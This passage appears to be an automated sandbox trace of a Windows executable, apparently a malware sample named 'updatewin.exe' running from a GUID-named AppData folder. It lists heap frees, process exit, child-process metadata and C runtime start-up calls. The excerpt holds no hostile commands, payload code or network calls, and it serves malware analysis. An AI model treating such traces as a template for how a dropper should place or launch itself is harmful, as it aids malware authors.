lpMem=0x3218c0 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3218e8 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321910 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321938 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321960 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321988 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3219b0 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3219d8 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321a00 | out: hHeap=0x2f0000) returned 1 [0053.515] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321a28 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321a50 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321a78 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321aa0 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321ac8 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321af0 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321b18 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321b40 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321b68 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321b90 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321bb8 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321be0 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321c08 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321c30 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321c58 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321c80 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321ca8 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321cd0 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321cf8 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321d20 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321d48 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321d70 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321d98 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321dc0 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321e18 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321e40 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321e68 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321e90 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321eb8 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321ee0 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321f08 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321f30 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321f58 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321f80 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321fa8 | out: hHeap=0x2f0000) returned 1 [0053.516] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321fd0 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x321ff8 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322020 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322048 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322070 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322098 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3220c0 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3220e8 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x305490 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322110 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322138 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322160 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322188 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3221b0 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3221d8 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322200 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322228 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322250 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322278 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3222a0 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3222c8 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3222f0 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322318 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322340 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322368 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322390 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3223b8 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3223e0 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322408 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322430 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322458 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322480 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3224a8 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3224d0 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3224f8 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322520 | out: hHeap=0x2f0000) returned 1 [0053.517] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322548 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322570 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322598 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3225c0 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322618 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322640 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322668 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322690 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3226b8 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3226e0 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322708 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322730 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322758 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322780 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3227a8 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3227d0 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3227f8 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322820 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322848 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322870 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322898 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3228c0 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3228e8 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322910 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322938 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322960 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322988 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3229b0 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3229d8 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322a00 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322a28 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322a50 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322a78 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x322aa0 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x324e00 | out: hHeap=0x2f0000) returned 1 [0053.518] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31eaf8 | out: hHeap=0x2f0000) returned 1 [0053.519] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0053.519] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0053.519] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31a3e8 | out: hHeap=0x2f0000) returned 1 [0053.519] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31cdc8 | out: hHeap=0x2f0000) returned 1 [0053.519] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-2", hFile=0x0, dwFlags=0x800) returned 0x0 [0053.519] GetLastError () returned 0x57 [0053.519] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18f584 | out: phModule=0x18f584) returned 0 [0053.520] ExitProcess (uExitCode=0x0) [0053.520] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x31ad00 | out: hHeap=0x2f0000) returned 1 [0053.520] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Process: id = "10" image_name = "updatewin.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin.exe" page_root = "0x2e08a000" os_pid = "0xa5c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x9a4" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 64 os_tid = 0xa60 [0054.691] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0x417c7540, dwHighDateTime=0x1d53dff)) [0054.691] GetCurrentProcessId () returned 0xa5c [0054.691] GetCurrentThreadId () returned 0xa60 [0054.691] GetTickCount () returned 0x1c7b1 [0054.691] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17492789928) returned 1 [0054.704] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0054.704] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1d0000 [0054.705] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.705] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0054.705] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0054.706] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0054.706] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0054.706] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.706] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.706] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.706] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.706] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.706] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.707] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.707] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.707] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.707] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.707] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.707] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.707] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.707] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.708] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.708] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0054.708] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x214) returned 0x1d07d0 [0054.708] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.708] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0054.708] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0054.708] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0054.708] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0054.708] GetCurrentThreadId () returned 0xa60 [0054.708] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0054.708] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x800) returned 0x1d09f0 [0054.709] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0054.709] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0054.709] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0054.709] SetHandleCount (uNumber=0x20) returned 0x20 [0054.709] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin.exe\" " [0054.709] GetEnvironmentStringsW () returned 0x304e60* [0054.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0054.709] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x565) returned 0x1d11f8 [0054.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1d11f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0054.709] FreeEnvironmentStringsW (penv=0x304e60) returned 1 [0054.709] GetLastError () returned 0x0 [0054.709] SetLastError (dwErrCode=0x0) [0054.709] GetLastError () returned 0x0 [0054.709] SetLastError (dwErrCode=0x0) [0054.709] GetLastError () returned 0x0 [0054.709] SetLastError (dwErrCode=0x0) [0054.709] GetACP () returned 0x4e4 [0054.710] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x220) returned 0x1d1768 [0054.710] GetLastError () returned 0x0 [0054.710] SetLastError (dwErrCode=0x0) [0054.710] IsValidCodePage (CodePage=0x4e4) returned 1 [0054.710] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0054.710] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0054.710] GetLastError () returned 0x0 [0054.710] SetLastError (dwErrCode=0x0) [0054.710] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0054.710] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.710] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0054.710] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0054.710] GetLastError () returned 0x0 [0054.710] SetLastError (dwErrCode=0x0) [0054.710] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0054.710] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0054.710] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᝴勹㞥AĀ") returned 256 [0054.710] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ᝴勹㞥AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0054.710] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 